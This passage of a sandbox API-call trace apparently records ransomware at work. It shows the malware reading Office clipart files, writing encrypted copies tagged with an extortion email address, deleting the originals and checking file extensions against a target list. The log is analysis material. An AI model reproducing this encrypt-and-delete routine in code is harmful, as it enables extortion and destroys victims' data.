	[0271.821] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.821] SetEndOfFile (hFile=0x360) returned 1
	[0271.821] CloseHandle (hObject=0x360) returned 1
	[0271.821] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.821] SetEndOfFile (hFile=0x390) returned 1
	[0271.824] CloseHandle (hObject=0x390) returned 1
	[0271.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 1
	[0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63
	[0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63
	[0271.825] lstrlenW (lpString=".doc") returned 4
	[0271.825] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0271.825] lstrlenW (lpString=".docx") returned 5
	[0271.825] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0271.825] lstrlenW (lpString=".pdf") returned 4
	[0271.825] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0271.825] lstrlenW (lpString=".xls") returned 4
	[0271.825] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0271.825] lstrlenW (lpString=".xlsx") returned 5
	[0271.825] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0271.825] lstrlenW (lpString=".ppt") returned 4
	[0271.825] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63
	[0271.825] lstrlenW (lpString=".zip") returned 4
	[0271.825] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0271.825] lstrlenW (lpString=".rar") returned 4
	[0271.825] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0271.825] lstrlenW (lpString=".bz2") returned 4
	[0271.825] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0271.825] lstrlenW (lpString=".7z") returned 3
	[0271.825] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63
	[0271.825] lstrlenW (lpString=".dbf") returned 4
	[0271.825] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0271.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63
	[0271.826] lstrlenW (lpString=".1cd") returned 4
	[0271.826] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0271.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63
	[0271.826] lstrlenW (lpString=".jpg") returned 4
	[0271.826] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0271.826] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=32184) returned 1
	[0271.826] CloseHandle (hObject=0x390) returned 1
	[0271.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20
	[0271.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.827] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.827] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.827] GetLastError () returned 0x0
	[0271.827] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0271.960] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0271.961] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.961] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.961] SetEndOfFile (hFile=0x360) returned 1
	[0271.984] CloseHandle (hObject=0x360) returned 1
	[0271.985] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.985] SetEndOfFile (hFile=0x390) returned 1
	[0271.987] CloseHandle (hObject=0x390) returned 1
	[0271.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 1
	[0272.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63
	[0272.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63
	[0272.068] lstrlenW (lpString=".doc") returned 4
	[0272.069] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString=".docx") returned 5
	[0272.069] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0272.069] lstrlenW (lpString=".pdf") returned 4
	[0272.069] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString=".xls") returned 4
	[0272.069] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString=".xlsx") returned 5
	[0272.069] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0272.069] lstrlenW (lpString=".ppt") returned 4
	[0272.069] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63
	[0272.069] lstrlenW (lpString=".zip") returned 4
	[0272.069] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString=".rar") returned 4
	[0272.069] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString=".bz2") returned 4
	[0272.069] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString=".7z") returned 3
	[0272.069] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63
	[0272.069] lstrlenW (lpString=".dbf") returned 4
	[0272.069] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63
	[0272.069] lstrlenW (lpString=".1cd") returned 4
	[0272.069] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63
	[0272.069] lstrlenW (lpString=".jpg") returned 4
	[0272.069] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.070] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=32184) returned 1
	[0272.070] CloseHandle (hObject=0x29c) returned 1
	[0272.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20
	[0272.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0272.070] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.070] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.073] GetLastError () returned 0x0
	[0272.073] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0272.077] WriteFile (in: hFile=0x218, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0272.078] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.078] WriteFile (in: hFile=0x218, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.078] SetEndOfFile (hFile=0x218) returned 1
	[0272.078] CloseHandle (hObject=0x218) returned 1
	[0272.078] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.078] SetEndOfFile (hFile=0x29c) returned 1
	[0272.081] CloseHandle (hObject=0x29c) returned 1
	[0272.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 1
	[0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63
	[0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63
	[0272.126] lstrlenW (lpString=".doc") returned 4
	[0272.126] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.126] lstrlenW (lpString=".docx") returned 5
	[0272.126] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0272.126] lstrlenW (lpString=".pdf") returned 4
	[0272.126] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.126] lstrlenW (lpString=".xls") returned 4
	[0272.126] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.126] lstrlenW (lpString=".xlsx") returned 5
	[0272.126] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0272.126] lstrlenW (lpString=".ppt") returned 4
	[0272.126] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63
	[0272.127] lstrlenW (lpString=".zip") returned 4
	[0272.127] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.127] lstrlenW (lpString=".rar") returned 4
	[0272.127] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.127] lstrlenW (lpString=".bz2") returned 4
	[0272.127] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.127] lstrlenW (lpString=".7z") returned 3
	[0272.127] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63
	[0272.127] lstrlenW (lpString=".dbf") returned 4
	[0272.127] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63
	[0272.127] lstrlenW (lpString=".1cd") returned 4
	[0272.127] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63
	[0272.127] lstrlenW (lpString=".jpg") returned 4
	[0272.127] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.144] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=32616) returned 1
	[0272.144] CloseHandle (hObject=0x388) returned 1
	[0272.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20
	[0272.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.193] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.193] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.194] GetLastError () returned 0x0
	[0272.194] ReadFile (in: hFile=0x388, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x7f68, lpOverlapped=0x0) returned 1
	[0272.212] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x7f70, lpOverlapped=0x0) returned 1
	[0272.213] ReadFile (in: hFile=0x388, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.213] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.213] SetEndOfFile (hFile=0x28c) returned 1
	[0272.213] CloseHandle (hObject=0x28c) returned 1
	[0272.213] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.213] SetEndOfFile (hFile=0x388) returned 1
	[0272.216] CloseHandle (hObject=0x388) returned 1
	[0272.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 1
	[0272.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63
	[0272.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63
	[0272.216] lstrlenW (lpString=".doc") returned 4
	[0272.216] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.216] lstrlenW (lpString=".docx") returned 5
	[0272.216] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0272.216] lstrlenW (lpString=".pdf") returned 4
	[0272.216] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.216] lstrlenW (lpString=".xls") returned 4
	[0272.216] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.216] lstrlenW (lpString=".xlsx") returned 5
	[0272.216] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0272.216] lstrlenW (lpString=".ppt") returned 4
	[0272.216] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63
	[0272.216] lstrlenW (lpString=".zip") returned 4
	[0272.216] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.216] lstrlenW (lpString=".rar") returned 4
	[0272.217] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.217] lstrlenW (lpString=".bz2") returned 4
	[0272.217] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.217] lstrlenW (lpString=".7z") returned 3
	[0272.217] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63
	[0272.217] lstrlenW (lpString=".dbf") returned 4
	[0272.217] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63
	[0272.217] lstrlenW (lpString=".1cd") returned 4
	[0272.217] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63
	[0272.217] lstrlenW (lpString=".jpg") returned 4
	[0272.217] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.217] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=12900) returned 1
	[0272.217] CloseHandle (hObject=0x388) returned 1
	[0272.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20
	[0272.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.218] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.218] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.218] GetLastError () returned 0x0
	[0272.218] ReadFile (in: hFile=0x388, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3264, lpOverlapped=0x0) returned 1
	[0272.231] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3270, lpOverlapped=0x0) returned 1
	[0272.232] ReadFile (in: hFile=0x388, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.232] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.232] SetEndOfFile (hFile=0x28c) returned 1
	[0272.232] CloseHandle (hObject=0x28c) returned 1
	[0272.233] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.233] SetEndOfFile (hFile=0x388) returned 1
	[0272.235] CloseHandle (hObject=0x388) returned 1
	[0272.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 1
	[0272.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63
	[0272.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63
	[0272.235] lstrlenW (lpString=".doc") returned 4
	[0272.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.235] lstrlenW (lpString=".docx") returned 5
	[0272.235] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.235] lstrlenW (lpString=".pdf") returned 4
	[0272.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.235] lstrlenW (lpString=".xls") returned 4
	[0272.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.235] lstrlenW (lpString=".xlsx") returned 5
	[0272.236] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.236] lstrlenW (lpString=".ppt") returned 4
	[0272.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63
	[0272.236] lstrlenW (lpString=".zip") returned 4
	[0272.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.236] lstrlenW (lpString=".rar") returned 4
	[0272.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.236] lstrlenW (lpString=".bz2") returned 4
	[0272.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.236] lstrlenW (lpString=".7z") returned 3
	[0272.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63
